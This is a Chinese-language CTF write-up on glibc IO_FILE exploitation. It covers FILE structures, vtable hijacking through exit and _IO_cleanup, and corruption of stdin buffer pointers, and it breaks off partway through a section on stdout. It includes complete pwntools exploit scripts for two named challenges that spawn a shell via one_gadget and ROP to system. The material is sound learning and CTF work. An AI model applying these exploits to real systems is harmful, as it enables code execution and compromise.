简介
IO_FILE Exploitation也是ctf里面常考的漏洞点,在这里也有很多种利用姿势,我们还是先从IO_FILE的结构来讲起
IO_FILE结构
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
_IO_FILE
这个就是我们每次使用gdb看到的IO结构,file是子结构,里面有对于相关IO的描述
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
这里面可以看到熟悉的_fileno,就是文件描述符,stdin对应0,stdout对应1,stderr对应2
之前遇见过一个题目,他会close(1),导致我们看不见flag,我们可以在之前把stdout的fileno修改一下,这样就不会关闭
IO_jump_t
vtable类似于一种虚表,指向了一系列函数指针
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
然后我们随便以setbuf为例,可以看到_IO_setbuf_t就是一个函数指针
typedef FILE* (*_IO_setbuf_t) (FILE *, char *, ssize_t);
比如说我们去调用一个_IO_SETBUF(fd)
最后就是通过fd找到vtable然后找到setbuf的函数地址,最后跳转到真正的地方
图示
利用原理
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。
在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。
这里我们打开一个文件
可以看见在堆上
然后我们查看_IO_list_all
可以看到_IO_list_all是一个单向链表,保存最新打开的文件,然后通过_chain可以找到其他文件结构
一般的顺序就是
创建的文件结构->stderr->stdout->stdin
然后对于正常情况来说,vtable的权限是ronly,所以我们不能通过直接找到虚表然后修改函数地址,并且我们可以看到默认情况下所有的文件结构都指向同一个_IO_file_jumps
但是由于stdin系列保存在libc的data段,fopen位于堆,这些都是可以写的
所以我们可以先修改vtable的值,让他指向一个我们伪造的vtable里面,然后vtable里的函数被修改成比如说system
一般来说vtable不需要伪造多么完整,以setbuf为例
由于setbuf在vtable的偏移为0x58,我们可以这样修改
下面来讲讲可以进行IO_FILE Explotion
exit函数
注意exit打IO_FILE Explotion只适用于libc-2.24之前,因为在libc-2.24之后加入了check机制
vtable check
在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,紧接着会判断 vtable - __start___libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length , 即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables 那么就会调用 _IO_vtable_check() 这个函数。
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
如果vtable非法,那么就会退出
所以一切伪造vtable的都有版本要求,而在exit里面打IO也有这个要求
exit函数的通用性
为什么要利用exit,因为可以来说,每个进程最后都会调用exit函数
因为每个进程都需要回收对应的资源
借用https://www.anquanke.com/post/id/243196里面的话
exit() => 进行用户层面的资源析构 + 调用_exit()进行系统级别的析构
这里的_GI_exit就是用户层面的资源析构,在函数里做了线程局部储存释放,调用exit_function,以及IO_cleanup
exit函数
exit调用__run_exit_handlers
在这个函数最后有这么一个调用
run_lsit_atexit是传入的第三个参数,1,所以会执行
RUN_HOOK
这里面差不多是这个意思,NAME相当于是一个起始地址,我从头开始调用里面的每一个函数,参数就是传入的ARGS
回到我们__libc_atexit
他是一个单独的段
里面有一个很熟悉的函数_IO_CLEANUP,这个函数就是之后我们产生漏洞的根源,所以RUN_HOOK的效果就是调用_IO_cleanup
__run_exit_handlers调用_IO_cleanup
这里面会调用_IO_unbuffer_all
_IO_cleanup调用_IO_unbuffer_all
这里其实就是遍历当前打开的所有IO,如果满足fd不是_IO_UNBUFFERED,并且mode!=0就会进入后面的操作
我们主要关注里面的函数调用
可以看到有个
这里就会调用vtable里的_setbuf,所以一旦我们可以过if的判断,然后修改对应文件结构的vtable,就可以getshell
暂时不知道这个if判断是什么意思,但有人分析到就是
_IO_cleanup会把stdout里面的缓冲区清空,所以stdout是可以通过这个判断并调用_IO_SETBUF
我们来看看这个宏
其实就是通过vtable找到函数地址并调用,也就产生了漏洞
例题
其实下面这个题目不算例题,因为buuctf远程的版本是2.27有check所以攻击不了(可能当时比赛环境是23的,我看还有很多网上拿这个题目举例),这里我就手动把libc换成23版本
hctf2018_the_end
题目分析
一个简单的任意地址写1个bit
以及一个泄露libc
伪造vtable
我们找的时候尽量离_IO区域远一点,同时最好只用修改低6位最好
ru(b"gift ")
libc_base = int(r(14), 16) - libc.sym["sleep"]
_IO_2_1_stdout_addr = libc_base + libc.symbols["_IO_2_1_stdout_"]
one_gadget_addr = libc_base + one_gadget[0]
fake_setbuf_addr = libc_base + libc.sym["__memalign_hook"]
s(p64(fake_setbuf_addr))
s(p8(one_gadget_addr & 0xFF))
s(p64(fake_setbuf_addr + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(fake_setbuf_addr + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))
修改vtable地址为我们伪造的区域
由于setbuf距离vtable开头偏移为0x58,所以我们要减去0x58才是vtable的起始地址,同时vtable距离_IO结构的偏移是0xd8
_IO_2_1_stdout_vtable_addr = _IO_2_1_stdout_addr + 0xD8
fake_vtable_addr = fake_setbuf_addr - 0x58
s(p64(_IO_2_1_stdout_vtable_addr))
s(p8(fake_vtable_addr & 0xFF))
s(p64(_IO_2_1_stdout_vtable_addr + 1))
s(p8((fake_vtable_addr >> 8) & 0xFF))
attack
allpayload
ru(b"gift ")
libc_base = int(r(14), 16) - libc.sym["sleep"]
_IO_2_1_stdout_addr = libc_base + libc.symbols["_IO_2_1_stdout_"]
one_gadget_addr = libc_base + one_gadget[1]
fake_setbuf_addr = libc_base + libc.sym["__memalign_hook"]
s(p64(fake_setbuf_addr))
s(p8(one_gadget_addr & 0xFF))
s(p64(fake_setbuf_addr + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(fake_setbuf_addr + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))
_IO_2_1_stdout_vtable_addr = _IO_2_1_stdout_addr + 0xD8
fake_vtable_addr = fake_setbuf_addr - 0x58
s(p64(_IO_2_1_stdout_vtable_addr))
s(p8(fake_vtable_addr & 0xFF))
s(p64(_IO_2_1_stdout_vtable_addr + 1))
s(p8((fake_vtable_addr >> 8) & 0xFF))
it()
这里我调试的时候确实执行了shell,但不知道为啥还是EOF了,蛋疼
IO任意地址读写
首先先介绍常用的输入输出函数的调用链
明确一点,read函数是不会修改IO file结构体的内容的,一般都是在调用read的函数里面修改
常用函数调用链
scanf,fscanf
read
_IO_new_file_underflow at fileops.c#check机制主要在这里,前面基本没有check
__GI__IO_default_uflow at genops.c
_IO_vfscanf_internal at vfscanf.c
__isoc99_scanf at at isoc99_scanf.c
main ()
__libc_start_main
gets
read
__GI__IO_file_underflow
__GI__IO_default_uflow
gets
main
__libc_start_main+240
fread
read
_IO_new_file_underflow
__underflow
_IO_file_xsgetn
_IO_sgetn
_IO_fread
printf
write
_IO_new_file_write
new_do_write+51
__GI__IO_do_write
__GI__IO_file_xsputn
vfprintf
printf
main
__libc_start_main
fwrite
_IO_new_do_write
_IO_new_file_overflow
_IO_new_file_xsputn
_IO_fwrite
利用stdin任意地址写
这里我们这样分析,从后往前分析,我们先找到最后调用read的地方,这里以scanf为例
_IO_new_file_underflow会调用read
所以从_IO_new_file_underflow开始分析
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
if (fp->_flags & _IO_NO_READS)//第一个check,如果flags设置不可以读,就退出,_IO_NO_READS对应的是4
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)//这里也要过check,不然就直接返回了,一般我们伪造都是fp->_IO_read_ptr=fp->_IO_read_end
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)//这里也要绕过check,不然会重新初始化fp的一些_IO_buf_base ,所以_IO_buf_base不能为空
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
//这里省略了一点代码,因为不太会影响,下面就开始设置IO的内容
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
#从fp里面读入 fp->_IO_buf_end - fp->_IO_buf_base的内容,从 fp->_IO_buf_base开始写入
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
fp->_IO_read_end += count;
return *(unsigned char *) fp->_IO_read_ptr;
}
这里我么还是结合具体题目来看看check的问题
ciscn2018_echo_back
题目分析
echoback里面长度限制为7的格式化字符串漏洞,可以泄露libc,也可以修改一个字节为0
readname会把名字放在栈上,可以往这个名字对应的地址写内容
利用
首先泄露libc
echoback(b"%19$p")
ru(b"say:")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240
查看当前的stdinIO
可以看到stdin没有IO_not_read flag,所以第一个check可以过
readptr=read end所以第二个check可以过
IO_buf_base不为NULL,第三个check可以过
因为我们可以任意地址写\x00,那么如果把IO_BUf_base低2位改成0
那么他指向的是_IO_write_base,那么我们就可以覆盖第二次写的地址了
修改IOBUF_Base低2位为0
_IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_"]
_IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56
setname(p64(_IO_2_1_stdin_addr__IO_buf_base))
echoback(b"%16$hhn")
我们调试下一次scanf,这是进入之前的状态
我们直接断在_IO_new_file_underflow
第一个check过
第二三个也过
在调用read之前我们查看当前的状态,可以看到其他所有的都设置成了和IO_buf_base一样
这里就相当于read(0,IO_BUF_base,64),由于我门的控制,这里刚好从_IO_write_base开始覆盖,我们先来随便发送几个payload
可以看到都被覆盖掉了
那么我们现在来思考一下要写什么,这是个好问题,如果说我们可以把IO_buf_base控到返回地址,那么就可以直接getshell
那我们在泄露libc地址后面加上一个泄露栈地址吧
echoback(b"%12$p")
ru(b"say:")
ret_addr = int(r(14), 16) + 8
接下来我想做的就是控制_IO_buf_base和buf_end
echoback(b"%19$p")
ru(b"say:")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240#泄露libc
echoback(b"%12$p")
ru(b"say:")
ret_addr = int(r(14), 16) + 8#返回地址
_IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_"]
_IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56
setname(p64(_IO_2_1_stdin_addr__IO_buf_base))
echoback(b"%16$hhn")#修改低2位为0
sa(b"choice>>", b"2")
sa(b"length:", b"a" * 0x18 + p64(ret_addr) + p64(ret_addr + 0x20))#这里注意一定要用send,不能用sendline,如果用sendline的话,\n就会写入到_IO_save_base,如果_IO_save_base不为NULL就会被free掉,就会报错
s(b"a")
但现在由于read_ptr!=read_end,所以我们无法直接任意读,过不了check
在这里面有三个读的操作
getchar会让我们的read_ptr++
for i in range(0x27):
echoback(b"a")#平衡read_ptr
接下来就可以利用scanf再一次任意地址写,这次就是写到返回地址了然后退出getshell
pop_rdi_ret = 0x21102 + libc_base
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
system_addr = libc_base + libc.sym["system"]
sa(b"choice>>", b"2")
sa(b"length:", p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr))
s(b"a")
sa(b"choice>>", b"3")
allpayload
def setname(name: bytes):
sa(b"choice>> ", b"1")
sa(b"name:", name)
def echoback(payload: bytes):
sa(b"choice>> ", b"2")
sla(b"length:", b"7")
s(payload)
echoback(b"%19$p")
ru(b"say:")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240
echoback(b"%12$p")
ru(b"say:")
ret_addr = int(r(14), 16) + 8
_IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_"]
_IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56
setname(p64(_IO_2_1_stdin_addr__IO_buf_base))
echoback(b"%16$hhn")
sa(b"choice>>", b"2")
sa(b"length:", b"a" * 0x18 + p64(ret_addr) + p64(ret_addr + 0x20))
s(b"a")
for i in range(0x27):
echoback(b"a")
pop_rdi_ret = 0x21102 + libc_base
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
system_addr = libc_base + libc.sym["system"]
sa(b"choice>>", b"2")
sa(b"length:", p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr))
s(b"a")
sa(b"choice>>", b"3")
it()
【待续】
利用stdout任意地址读写
stdin只能输入数据到缓冲区,因此只能进行写。而stdout会将数据拷贝至输出缓冲区,并将输出缓冲区中的数据输出出来,所以如果可控stdout结构体,通过构造可实现利用其进行任意地址读以及任意地址写
任意写
任意写的主要原理为:构造好输出缓冲区将其改为想要任意写的地址,当输出数据可控时,会将数据拷贝至输出缓冲区,即实现了将可控数据拷贝至我们想要写的地址。
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
#ifdef _LIBC
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
memcpy (f->_IO_write_ptr, s, count);
f->_IO_write_ptr += count;
#endif
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}